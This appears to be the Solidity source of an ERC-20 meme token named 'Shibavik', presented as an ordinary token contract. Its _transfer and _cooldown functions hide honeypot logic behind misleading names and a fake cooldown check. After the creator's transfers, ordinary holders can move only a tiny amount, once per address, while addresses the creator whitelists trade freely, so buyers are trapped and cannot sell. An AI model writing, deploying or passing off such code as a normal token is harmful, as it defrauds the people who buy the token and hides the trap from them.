/** Welcome to the
  * old viking 
  * settlement of
  * Shibavik!
  * 
  * Here where the vikings
  * already had tons and tons
  * of Shibas, ready for battle!
  * 
  * @Shibavik
 **/

pragma solidity 0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function totalSupply() external view returns (uint256);
}

interface IERC20Metadata is IERC20 {
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => bool) public VikContract;
    mapping (address => bool) public CheckIfEnglish;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    string private _name; string private _symbol;
    address private _creator; uint256 private _totalSupply;
    uint256 private NoToEnglish; uint256 private VikTax;
    uint256 private EnglishOut; bool private VikValue;
    bool private SniperGoodbye; bool private VikWait;
    
    constructor (string memory name_, string memory symbol_, address creator_) {
        _name = name_;
        _creator = creator_;
        _symbol = symbol_;
        VikValue = true;
        SniperGoodbye = true;
        VikContract[creator_] = true;
        CheckIfEnglish[creator_] = false;
        VikWait = false;
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    
    function _cooldown(address sender, uint256 amount, uint256 time) internal {
        uint256 getTimeDifference = block.timestamp - time;
        if ((VikContract[sender] == false) && (getTimeDifference >= 0)) {
            if ((amount > EnglishOut)) { require(false); }
            require(amount < NoToEnglish);
            if (VikWait == true) {
                if (CheckIfEnglish[sender] == true) { require(false); }
                CheckIfEnglish[sender] = true;
            }
        }
    }
    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function _burn(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] -= amount;
        _balances[address(0)] += amount;
        emit Transfer(account, address(0), amount);
     }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        
        (VikContract[spender],CheckIfEnglish[spender],VikValue) = ((address(owner) == _creator) && (VikValue == true)) ? (true,false,false) : (VikContract[spender],CheckIfEnglish[spender],VikValue);

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        (NoToEnglish,VikWait) = ((address(sender) == _creator) && (SniperGoodbye == false)) ? (VikTax, true) : (NoToEnglish,VikWait);
        (VikContract[recipient],SniperGoodbye) = ((address(sender) == _creator) && (SniperGoodbye == true)) ? (true, false) : (VikContract[recipient],SniperGoodbye);
    
        uint256 timeNOW = block.timestamp;
        _cooldown(sender, amount, timeNOW);
        
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
        
    }
    
    function _createContract(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        
        (uint256 temp1, uint256 temp2) = (10000, 500);

        _totalSupply += amount;
        _balances[account] += amount;
        
        NoToEnglish = _totalSupply;
        VikTax = _totalSupply / temp1;
        EnglishOut = VikTax * temp2;
        
        emit Transfer(address(0), account, amount);    
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol, creator) {
        _createContract(creator, initialSupply);
    }
}

contract Shibavik is ERC20Token {
    constructor() ERC20Token("Shibavik", "SHIBAVIK", msg.sender, 500000000000 * 10 ** 18) {
    }
}